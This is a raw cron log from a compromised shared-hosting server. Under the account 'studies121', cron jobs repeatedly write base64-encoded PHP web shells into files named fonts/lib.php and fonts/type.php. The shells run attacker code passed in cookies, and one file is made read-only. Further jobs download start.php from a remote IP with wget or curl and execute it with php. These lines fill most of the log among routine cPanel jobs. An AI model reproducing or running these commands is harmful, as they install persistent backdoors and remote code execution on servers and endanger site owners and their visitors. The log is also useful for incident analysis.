Sep 10 04:09:01 ip-184-168-122-23 CROND[29839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:10:01 ip-184-168-122-23 CROND[29948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:10:01 ip-184-168-122-23 CROND[29951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:10:01 ip-184-168-122-23 CROND[29950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:10:01 ip-184-168-122-23 CROND[29952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:10:01 ip-184-168-122-23 CROND[29954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:10:01 ip-184-168-122-23 CROND[29953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:10:01 ip-184-168-122-23 CROND[29955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:10:01 ip-184-168-122-23 CROND[29956]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:11:01 ip-184-168-122-23 CROND[30072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:11:01 ip-184-168-122-23 CROND[30075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:11:01 ip-184-168-122-23 CROND[30076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:11:01 ip-184-168-122-23 CROND[30077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:12:01 ip-184-168-122-23 CROND[30295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:12:01 ip-184-168-122-23 CROND[30297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:12:01 ip-184-168-122-23 CROND[30298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:12:01 ip-184-168-122-23 CROND[30296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:12:01 ip-184-168-122-23 CROND[30299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:13:01 ip-184-168-122-23 CROND[30408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:13:01 ip-184-168-122-23 CROND[30409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:13:01 ip-184-168-122-23 CROND[30411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:13:01 ip-184-168-122-23 CROND[30412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:14:01 ip-184-168-122-23 CROND[30507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:14:01 ip-184-168-122-23 CROND[30508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:14:01 ip-184-168-122-23 CROND[30509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:14:01 ip-184-168-122-23 CROND[30510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:14:01 ip-184-168-122-23 CROND[30512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:15:01 ip-184-168-122-23 CROND[30626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:15:01 ip-184-168-122-23 CROND[30628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:15:01 ip-184-168-122-23 CROND[30633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:15:01 ip-184-168-122-23 CROND[30631]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 04:15:01 ip-184-168-122-23 CROND[30635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:15:01 ip-184-168-122-23 CROND[30632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:15:01 ip-184-168-122-23 CROND[30640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:16:01 ip-184-168-122-23 CROND[30732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:16:01 ip-184-168-122-23 CROND[30734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:16:01 ip-184-168-122-23 CROND[30738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:16:01 ip-184-168-122-23 CROND[30737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:16:02 ip-184-168-122-23 CROND[30740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:16:02 ip-184-168-122-23 CROND[30739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:17:01 ip-184-168-122-23 CROND[30919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:17:01 ip-184-168-122-23 CROND[30917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:17:01 ip-184-168-122-23 CROND[30918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:17:01 ip-184-168-122-23 CROND[30920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:18:01 ip-184-168-122-23 CROND[31008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:18:01 ip-184-168-122-23 CROND[31010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:18:01 ip-184-168-122-23 CROND[31011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:18:01 ip-184-168-122-23 CROND[31013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:18:01 ip-184-168-122-23 CROND[31017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:19:01 ip-184-168-122-23 CROND[31114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:19:01 ip-184-168-122-23 CROND[31116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:19:01 ip-184-168-122-23 CROND[31118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:19:01 ip-184-168-122-23 CROND[31117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:20:01 ip-184-168-122-23 CROND[31217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:20:01 ip-184-168-122-23 CROND[31221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:20:01 ip-184-168-122-23 CROND[31220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:20:01 ip-184-168-122-23 CROND[31225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:20:01 ip-184-168-122-23 CROND[31228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:20:01 ip-184-168-122-23 CROND[31223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:20:01 ip-184-168-122-23 CROND[31224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:20:01 ip-184-168-122-23 CROND[31229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:20:01 ip-184-168-122-23 CROND[31227]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:21:01 ip-184-168-122-23 CROND[31322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
